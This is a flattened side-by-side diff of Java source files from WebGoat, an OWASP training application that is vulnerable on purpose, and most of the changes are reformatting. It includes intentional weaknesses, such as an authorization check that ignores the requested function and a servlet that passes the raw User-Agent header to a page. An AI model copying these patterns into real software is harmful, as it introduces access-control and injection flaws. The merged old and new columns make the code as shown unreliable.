package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.WelcomeScreen; import org.owasp.webgoat.lessons.WelcomeScreen;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.Center; import org.apache.ecs.html.Center;
import org.apache.ecs.html.H1; import org.apache.ecs.html.H1;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class WelcomeAdminScreen extends WelcomeScreen public class WelcomeAdminScreen extends WelcomeScreen
{ {
/** /**
* Constructor for the WelcomeAdminScreen object * Constructor for the WelcomeAdminScreen object
* *
* @param s Description of the Parameter * @param s
*/ * Description of the Parameter
public WelcomeAdminScreen(WebSession s) */
{ public WelcomeAdminScreen(WebSession s)
super(s); {
} super(s);
}
/**
* Constructor for the WelcomeAdminScreen object
*/
public WelcomeAdminScreen()
{
}
/** /**
* Constructor for the WelcomeAdminScreen object * Description of the Method
*/ *
public WelcomeAdminScreen() * @param s
{} * Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center(new H1("You are logged on as an administrator")));
ec.addElement(super.createContent(s));
/** return (ec);
* Description of the Method }
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center( /**
new H1("You are logged on as an administrator"))); * Gets the title attribute of the WelcomeAdminScreen object
ec.addElement(super.createContent(s)); *
* @return The title value
return (ec); */
} public String getTitle()
{
return ("Admin Welcome");
/** }
* Gets the title attribute of the WelcomeAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Admin Welcome");
}
} }

View File

@ -1 +1 @@
package org.owasp.webgoat.servlets; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /******************************************************************************* * * * This file is part of WebGoat, an Open Web Application Security Project * utility. For details, please see http://www.owasp.org/ * * Copyright (c) 2002 - 2007 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under * the terms of the GNU General Public License as published by the Free Software * Foundation; either version 2 of the License, or (at your option) any later * version. * * This program is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * details. * * You should have received a copy of the GNU General Public License along with * this program; if not, write to the Free Software Foundation, Inc., 59 Temple * Place - Suite 330, Boston, MA 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at code.google.com, a repository * for free software projects. * * For details, please see http://code.google.com/p/webgoat/ */ public class Controller extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userAgent = request.getHeader("user-agent"); String clientBrowser = "Not known!"; if (userAgent != null) { clientBrowser = userAgent; } request.setAttribute("client.browser", clientBrowser); request.getRequestDispatcher("/view.jsp").forward(request, response); } } package org.owasp.webgoat.servlets; import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; /*************************************************************************************************** * * * This file is part of WebGoat, an Open Web Application Security Project utility. For details, * please see http://www.owasp.org/ * * Copyright (c) 2002 - 2007 Bruce Mayhew * * This program is free software; you can redistribute it and/or modify it under the terms of the * GNU General Public License as published by the Free Software Foundation; either version 2 of the * License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * General Public License for more details. * * You should have received a copy of the GNU General Public License along with this program; if * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA * 02111-1307, USA. * * Getting Source ============== * * Source for this application is maintained at code.google.com, a repository for free software * projects. * * For details, please see http://code.google.com/p/webgoat/ */ public class Controller extends HttpServlet { private static final long serialVersionUID = 1L; protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doPost(request, response); } protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { String userAgent = request.getHeader("user-agent"); String clientBrowser = "Not known!"; if (userAgent != null) { clientBrowser = userAgent; } request.setAttribute("client.browser", clientBrowser); request.getRequestDispatcher("/view.jsp").forward(request, response); } }

View File

@ -1,55 +1,53 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.util.Hashtable; import java.util.Hashtable;
import java.util.Map; import java.util.Map;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class Authorization public class Authorization
{ {
Map<Integer, Integer> permissions = new Hashtable<Integer, Integer>(); Map<Integer, Integer> permissions = new Hashtable<Integer, Integer>();
public Authorization()
{
}
public Authorization() public void setPermission(int userId, int functionId)
{} {
permissions.put(new Integer(userId), new Integer(functionId));
}
public boolean isAllowed(int userId, int functionId)
public void setPermission(int userId, int functionId) {
{ return (permissions.get(new Integer(userId)) != null);
permissions.put(new Integer(userId), new Integer(functionId)); }
}
public boolean isAllowed(int userId, int functionId)
{
return (permissions.get(new Integer(userId)) != null);
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.io.File; import java.io.File;
@ -9,435 +10,425 @@ import java.util.List;
import java.util.Set; import java.util.Set;
import java.util.Vector; import java.util.Vector;
import java.util.LinkedList; import java.util.LinkedList;
import javax.servlet.ServletContext; import javax.servlet.ServletContext;
import org.owasp.webgoat.HammerHead; import org.owasp.webgoat.HammerHead;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class Course public class Course
{ {
private List<AbstractLesson> lessons = new LinkedList<AbstractLesson>(); private List<AbstractLesson> lessons = new LinkedList<AbstractLesson>();
private final static String PROPERTIES_FILENAME = HammerHead.propertiesPath; private final static String PROPERTIES_FILENAME = HammerHead.propertiesPath;
private WebgoatProperties properties = null; private WebgoatProperties properties = null;
private List<String> files = new LinkedList<String>(); private List<String> files = new LinkedList<String>();
private WebgoatContext webgoatContext; private WebgoatContext webgoatContext;
public Course() public Course()
{ {
try try
{ {
properties = new WebgoatProperties(PROPERTIES_FILENAME); properties = new WebgoatProperties(PROPERTIES_FILENAME);
} } catch (IOException e)
catch (IOException e)
{ {
System.out.println("Error loading WebGoat properties"); System.out.println("Error loading WebGoat properties");
e.printStackTrace(); e.printStackTrace();
} }
} }
/** /**
* Take an absolute file and return the filename. * Take an absolute file and return the filename.
* *
* Ex. /etc/password becomes password * Ex. /etc/password becomes password
* *
* @param s * @param s
* @return the file name * @return the file name
*/ */
private static String getFileName(String s) private static String getFileName(String s)
{ {
String fileName = new File(s).getName(); String fileName = new File(s).getName();
if(fileName.indexOf("/") != -1) if (fileName.indexOf("/") != -1)
{ {
fileName = fileName.substring(fileName.lastIndexOf("/"), fileName.length()); fileName = fileName.substring(fileName.lastIndexOf("/"), fileName.length());
} }
if(fileName.indexOf(".") != -1) if (fileName.indexOf(".") != -1)
{ {
fileName = fileName.substring(0, fileName.indexOf(".")); fileName = fileName.substring(0, fileName.indexOf("."));
} }
return fileName; return fileName;
} }
/** /**
* Take a class name and return the equivalent file name * Take a class name and return the equivalent file name
* *
* Ex. org.owasp.webgoat becomes org/owasp/webgoat.java * Ex. org.owasp.webgoat becomes org/owasp/webgoat.java
* *
* @param className * @param className
* @return * @return
*/ */
private static String getSourceFile(String className) private static String getSourceFile(String className)
{ {
StringBuffer sb = new StringBuffer(); StringBuffer sb = new StringBuffer();
sb.append(className.replace(".", "/")); sb.append(className.replace(".", "/"));
sb.append(".java"); sb.append(".java");
return sb.toString(); return sb.toString();
} }
/**
/** * Takes a file name and builds the class file name
* Takes a file name and builds the class file name *
* * @param fileName
* @param fileName Description of the Parameter * Description of the Parameter
* @param path Description of the Parameter * @param path
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
private static String getClassFile(String fileName, String path) */
{ private static String getClassFile(String fileName, String path)
String ext = ".class"; {
String ext = ".class";
fileName = fileName.trim(); fileName = fileName.trim();
/** /**
* We do not handle directories. * We do not handle directories. We do not handle files with different extensions
* We do not handle files with different extensions
*/ */
if(fileName.endsWith("/") || !fileName.endsWith(ext)) if (fileName.endsWith("/") || !fileName.endsWith(ext)) { return null; }
{
return null;
}
// if the file is in /WEB-INF/classes strip the dir info off // if the file is in /WEB-INF/classes strip the dir info off
int index = fileName.indexOf("/WEB-INF/classes/"); int index = fileName.indexOf("/WEB-INF/classes/");
if (index != -1) if (index != -1)
{ {
fileName = fileName.substring(index + "/WEB-INF/classes/".length(), fileName.length() - ext.length()); fileName = fileName.substring(index + "/WEB-INF/classes/".length(), fileName.length() - ext.length());
fileName = fileName.replace('/', '.'); fileName = fileName.replace('/', '.');
fileName = fileName.replace('\\', '.'); fileName = fileName.replace('\\', '.');
} }
else else
{ {
// Strip off the leading path info // Strip off the leading path info
fileName = fileName.substring(path.length(), fileName.length() - ext.length()); fileName = fileName.substring(path.length(), fileName.length() - ext.length());
} }
return fileName; return fileName;
}
/**
* Gets the categories attribute of the Course object
*
* @return The categories value
*/
public List getCategories()
{
List<Category> categories = new ArrayList<Category>();
Iterator iter = lessons.iterator();
while (iter.hasNext())
{
AbstractLesson lesson = (AbstractLesson) iter.next();
if (!categories.contains(lesson.getCategory()))
{
categories.add(lesson.getCategory());
}
} }
Collections.sort(categories); /**
* Gets the categories attribute of the Course object
return categories; *
} * @return The categories value
*/
public List getCategories()
/**
* Gets the firstLesson attribute of the Course object
*
* @return The firstLesson value
*/
public AbstractLesson getFirstLesson()
{
List<String> roles = new ArrayList<String>();
roles.add(AbstractLesson.USER_ROLE);
// Category 0 is the admin function. We want the first real category
// to be returned. This is noramally the General category and the Http Basics lesson
return ((AbstractLesson) getLessons((Category) getCategories().get(1),
roles).get(0));
}
/**
* Gets the lesson attribute of the Course object
*
* @param lessonId Description of the Parameter
* @param role Description of the Parameter
* @return The lesson value
*/
public AbstractLesson getLesson(WebSession s, int lessonId, List<String> roles)
{
if (s.isHackedAdmin())
{ {
roles.add(AbstractLesson.HACKED_ADMIN_ROLE); List<Category> categories = new ArrayList<Category>();
} Iterator iter = lessons.iterator();
//System.out.println("getLesson() with roles: " + roles);
Iterator<AbstractLesson> iter = lessons.iterator();
while (iter.hasNext()) while (iter.hasNext())
{ {
AbstractLesson lesson = iter.next(); AbstractLesson lesson = (AbstractLesson) iter.next();
//System.out.println("getLesson() at role: " + lesson.getRole()); if (!categories.contains(lesson.getCategory()))
if (lesson.getScreenId() == lessonId {
&& roles.contains(lesson.getRole())) categories.add(lesson.getCategory());
{ }
return lesson; }
}
Collections.sort(categories);
return categories;
} }
return null; /**
} * Gets the firstLesson attribute of the Course object
*
* @return The firstLesson value
public AbstractLesson getLesson(WebSession s, int lessonId, String role) */
{ public AbstractLesson getFirstLesson()
List<String> roles = new Vector<String>();
roles.add(role);
return getLesson(s, lessonId, roles);
}
public List getLessons(WebSession s, String role)
{
List<String> roles = new Vector<String>();
roles.add(role);
return getLessons(s, roles);
}
/**
* Gets the lessons attribute of the Course object
*
* @param role Description of the Parameter
* @return The lessons value
*/
public List<AbstractLesson> getLessons(WebSession s, List<String> roles)
{
if (s.isHackedAdmin())
{ {
roles.add(AbstractLesson.HACKED_ADMIN_ROLE); List<String> roles = new ArrayList<String>();
} roles.add(AbstractLesson.USER_ROLE);
List<AbstractLesson> lessonList = new ArrayList<AbstractLesson>(); // Category 0 is the admin function. We want the first real category
Iterator categoryIter = getCategories().iterator(); // to be returned. This is noramally the General category and the Http Basics lesson
return ((AbstractLesson) getLessons((Category) getCategories().get(1), roles).get(0));
while (categoryIter.hasNext())
{
lessonList.addAll(getLessons(s, (Category) categoryIter.next(),
roles));
}
return lessonList;
}
/**
* Gets the lessons attribute of the Course object
*
* @param category Description of the Parameter
* @param role Description of the Parameter
* @return The lessons value
*/
private List<AbstractLesson> getLessons(Category category, List roles)
{
List<AbstractLesson> lessonList = new ArrayList<AbstractLesson>();
Iterator iter = lessons.iterator();
while (iter.hasNext())
{
AbstractLesson lesson = (AbstractLesson) iter.next();
if (lesson.getCategory().equals(category)
&& roles.contains(lesson.getRole()))
{
lessonList.add(lesson);
}
} }
Collections.sort(lessonList); /**
// System.out.println(java.util.Arrays.asList(lessonList)); * Gets the lesson attribute of the Course object
return lessonList; *
} * @param lessonId
* Description of the Parameter
* @param role
public List getLessons(WebSession s, Category category, String role) * Description of the Parameter
{ * @return The lesson value
List<String> roles = new Vector<String>(); */
roles.add(role); public AbstractLesson getLesson(WebSession s, int lessonId, List<String> roles)
return getLessons(s, category, roles);
}
public List<AbstractLesson> getLessons(WebSession s, Category category, List<String> roles)
{
if (s.isHackedAdmin())
{ {
roles.add(AbstractLesson.HACKED_ADMIN_ROLE); if (s.isHackedAdmin())
{
roles.add(AbstractLesson.HACKED_ADMIN_ROLE);
}
// System.out.println("getLesson() with roles: " + roles);
Iterator<AbstractLesson> iter = lessons.iterator();
while (iter.hasNext())
{
AbstractLesson lesson = iter.next();
// System.out.println("getLesson() at role: " + lesson.getRole());
if (lesson.getScreenId() == lessonId && roles.contains(lesson.getRole())) { return lesson; }
}
return null;
} }
return getLessons(category, roles);
}
/** public AbstractLesson getLesson(WebSession s, int lessonId, String role)
* Load all of the filenames into a temporary cache {
* List<String> roles = new Vector<String>();
* @param context roles.add(role);
* @param path return getLesson(s, lessonId, roles);
*/ }
private void loadFiles(ServletContext context, String path)
{
Set resourcePaths = context.getResourcePaths(path);
Iterator itr = resourcePaths.iterator();
while(itr.hasNext()) public List getLessons(WebSession s, String role)
{ {
String file = (String)itr.next(); List<String> roles = new Vector<String>();
roles.add(role);
return getLessons(s, roles);
}
if(file.length() != 1 && file.endsWith("/")) /**
{ * Gets the lessons attribute of the Course object
loadFiles(context, file); *
} * @param role
else * Description of the Parameter
{ * @return The lessons value
files.add(file); */
} public List<AbstractLesson> getLessons(WebSession s, List<String> roles)
} {
} if (s.isHackedAdmin())
{
roles.add(AbstractLesson.HACKED_ADMIN_ROLE);
}
List<AbstractLesson> lessonList = new ArrayList<AbstractLesson>();
Iterator categoryIter = getCategories().iterator();
/** while (categoryIter.hasNext())
* Instantiate all the lesson objects into a cache {
* lessonList.addAll(getLessons(s, (Category) categoryIter.next(), roles));
* @param path }
*/ return lessonList;
private void loadLessons(String path) }
{
Iterator itr = files.iterator();
while(itr.hasNext()) /**
{ * Gets the lessons attribute of the Course object
String file = (String)itr.next(); *
String className = getClassFile(file, path); * @param category
* Description of the Parameter
* @param role
* Description of the Parameter
* @return The lessons value
*/
private List<AbstractLesson> getLessons(Category category, List roles)
{
List<AbstractLesson> lessonList = new ArrayList<AbstractLesson>();
if(className != null && !className.endsWith("_i")) Iterator iter = lessons.iterator();
{ while (iter.hasNext())
try {
{ AbstractLesson lesson = (AbstractLesson) iter.next();
Class c = Class.forName(className);
Object o = c.newInstance();
if(o instanceof AbstractLesson) if (lesson.getCategory().equals(category) && roles.contains(lesson.getRole()))
{ {
AbstractLesson lesson = (AbstractLesson)o; lessonList.add(lesson);
lesson.setWebgoatContext(webgoatContext); }
}
lesson.update(properties); Collections.sort(lessonList);
// System.out.println(java.util.Arrays.asList(lessonList));
return lessonList;
}
if(lesson.getHidden() == false) public List getLessons(WebSession s, Category category, String role)
{ {
lessons.add(lesson); List<String> roles = new Vector<String>();
} roles.add(role);
} return getLessons(s, category, roles);
} }
catch (Exception e)
{
//System.out.println("Warning: " + e.getMessage());
}
}
}
}
/** public List<AbstractLesson> getLessons(WebSession s, Category category, List<String> roles)
* For each lesson, set the source file and lesson file {
*/ if (s.isHackedAdmin())
private void loadResources() {
{ roles.add(AbstractLesson.HACKED_ADMIN_ROLE);
Iterator lessonItr = lessons.iterator(); }
return getLessons(category, roles);
}
while(lessonItr.hasNext()) /**
{ * Load all of the filenames into a temporary cache
AbstractLesson lesson = (AbstractLesson)lessonItr.next(); *
String className = lesson.getClass().getName(); * @param context
String classFile = getSourceFile(className); * @param path
*/
private void loadFiles(ServletContext context, String path)
{
Set resourcePaths = context.getResourcePaths(path);
Iterator itr = resourcePaths.iterator();
Iterator fileItr = files.iterator(); while (itr.hasNext())
{
String file = (String) itr.next();
while(fileItr.hasNext()) if (file.length() != 1 && file.endsWith("/"))
{ {
String absoluteFile = (String)fileItr.next(); loadFiles(context, file);
String fileName = getFileName(absoluteFile); }
//System.out.println("Course: looking at file: " + absoluteFile); else
{
files.add(file);
}
}
}
if(absoluteFile.endsWith(classFile)) /**
{ * Instantiate all the lesson objects into a cache
//System.out.println("Set source file for " + classFile); *
lesson.setSourceFileName(absoluteFile); * @param path
} */
private void loadLessons(String path)
{
Iterator itr = files.iterator();
if(absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html") && className.endsWith(fileName)) while (itr.hasNext())
{ {
//System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for lesson " + lesson.getClass().getName()); String file = (String) itr.next();
//System.out.println("fileName: " + fileName + " == className: " + className ); String className = getClassFile(file, path);
lesson.setLessonPlanFileName(absoluteFile);
}
if(absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html") && className.endsWith(fileName))
{
//System.out.println("DEBUG: setting lesson solution file " + absoluteFile + " for lesson " + lesson.getClass().getName());
//System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonSolutionFileName(absoluteFile);
}
}
}
}
/** if (className != null && !className.endsWith("_i"))
* Description of the Method {
* try
* @param path Description of the Parameter {
* @param context Description of the Parameter Class c = Class.forName(className);
*/ Object o = c.newInstance();
public void loadCourses(WebgoatContext webgoatContext, ServletContext context, String path)
{ if (o instanceof AbstractLesson)
this.webgoatContext = webgoatContext; {
loadFiles(context, path); AbstractLesson lesson = (AbstractLesson) o;
loadLessons(path); lesson.setWebgoatContext(webgoatContext);
loadResources();
} lesson.update(properties);
if (lesson.getHidden() == false)
{
lessons.add(lesson);
}
}
} catch (Exception e)
{
// System.out.println("Warning: " + e.getMessage());
}
}
}
}
/**
* For each lesson, set the source file and lesson file
*/
private void loadResources()
{
Iterator lessonItr = lessons.iterator();
while (lessonItr.hasNext())
{
AbstractLesson lesson = (AbstractLesson) lessonItr.next();
String className = lesson.getClass().getName();
String classFile = getSourceFile(className);
Iterator fileItr = files.iterator();
while (fileItr.hasNext())
{
String absoluteFile = (String) fileItr.next();
String fileName = getFileName(absoluteFile);
// System.out.println("Course: looking at file: " + absoluteFile);
if (absoluteFile.endsWith(classFile))
{
// System.out.println("Set source file for " + classFile);
lesson.setSourceFileName(absoluteFile);
}
if (absoluteFile.startsWith("/lesson_plans") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{
// System.out.println("DEBUG: setting lesson plan file " + absoluteFile + " for
// lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonPlanFileName(absoluteFile);
}
if (absoluteFile.startsWith("/lesson_solutions") && absoluteFile.endsWith(".html")
&& className.endsWith(fileName))
{
// System.out.println("DEBUG: setting lesson solution file " + absoluteFile + "
// for lesson " +
// lesson.getClass().getName());
// System.out.println("fileName: " + fileName + " == className: " + className );
lesson.setLessonSolutionFileName(absoluteFile);
}
}
}
}
/**
* Description of the Method
*
* @param path
* Description of the Parameter
* @param context
* Description of the Parameter
*/
public void loadCourses(WebgoatContext webgoatContext, ServletContext context, String path)
{
this.webgoatContext = webgoatContext;
loadFiles(context, path);
loadLessons(path);
loadResources();
}
} }

File diff suppressed because it is too large Load Diff

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.session; package org.owasp.webgoat.session;
import java.io.IOException; import java.io.IOException;
@ -8,39 +9,37 @@ import java.sql.ResultSetMetaData;
import java.sql.SQLException; import java.sql.SQLException;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.apache.ecs.MultiPartElement; import org.apache.ecs.MultiPartElement;
import org.apache.ecs.html.B; import org.apache.ecs.html.B;
import org.apache.ecs.html.TD; import org.apache.ecs.html.TD;
import org.apache.ecs.html.TR; import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
@ -52,22 +51,21 @@ public class DatabaseUtilities
private static Map<String, Connection> connections = new HashMap<String, Connection>(); private static Map<String, Connection> connections = new HashMap<String, Connection>();
private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>(); private static Map<String, Boolean> dbBuilt = new HashMap<String, Boolean>();
public static Connection getConnection(WebSession s) public static Connection getConnection(WebSession s) throws ClassNotFoundException, SQLException
throws ClassNotFoundException, SQLException
{ {
return getConnection(s.getUserName(), s.getWebgoatContext()); return getConnection(s.getUserName(), s.getWebgoatContext());
} }
public static synchronized Connection getConnection(String user, WebgoatContext context) public static synchronized Connection getConnection(String user, WebgoatContext context)
throws ClassNotFoundException, SQLException throws ClassNotFoundException, SQLException
{ {
Connection conn = connections.get(user); Connection conn = connections.get(user);
if (conn != null && !conn.isClosed()) if (conn != null && !conn.isClosed()) return conn;
return conn;
conn = makeConnection(user, context); conn = makeConnection(user, context);
connections.put(user, conn); connections.put(user, conn);
if (dbBuilt.get(user) == null) { if (dbBuilt.get(user) == null)
{
new CreateDB().makeDB(conn); new CreateDB().makeDB(conn);
dbBuilt.put(user, Boolean.TRUE); dbBuilt.put(user, Boolean.TRUE);
} }
@ -79,93 +77,92 @@ public class DatabaseUtilities
{ {
try try
{ {
Connection connection = connections.get(user); Connection connection = connections.get(user);
if (connection == null || connection.isClosed()) if (connection == null || connection.isClosed()) return;
return;
if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) if (connection.getMetaData().getDatabaseProductName().toLowerCase().contains("oracle")) connection.close();
connection.close(); } catch (SQLException sqle)
}
catch (SQLException sqle)
{ {
sqle.printStackTrace(); sqle.printStackTrace();
} }
} }
private static Connection makeConnection(String user, WebgoatContext context) private static Connection makeConnection(String user, WebgoatContext context) throws ClassNotFoundException,
throws ClassNotFoundException, SQLException SQLException
{ {
Class.forName(context.getDatabaseDriver()); Class.forName(context.getDatabaseDriver());
if (context.getDatabaseConnectionString().contains("hsqldb")) if (context.getDatabaseConnectionString().contains("hsqldb")) return getHsqldbConnection(user, context);
return getHsqldbConnection(user, context);
String userPrefix = context.getDatabaseUser(); String userPrefix = context.getDatabaseUser();
String password = context.getDatabasePassword(); String password = context.getDatabasePassword();
String url = context.getDatabaseConnectionString(); String url = context.getDatabaseConnectionString();
return DriverManager.getConnection(url, userPrefix + "_" + user, password); return DriverManager.getConnection(url, userPrefix + "_" + user, password);
} }
private static Connection getHsqldbConnection(String user, WebgoatContext context) private static Connection getHsqldbConnection(String user, WebgoatContext context) throws ClassNotFoundException,
throws ClassNotFoundException, SQLException SQLException
{ {
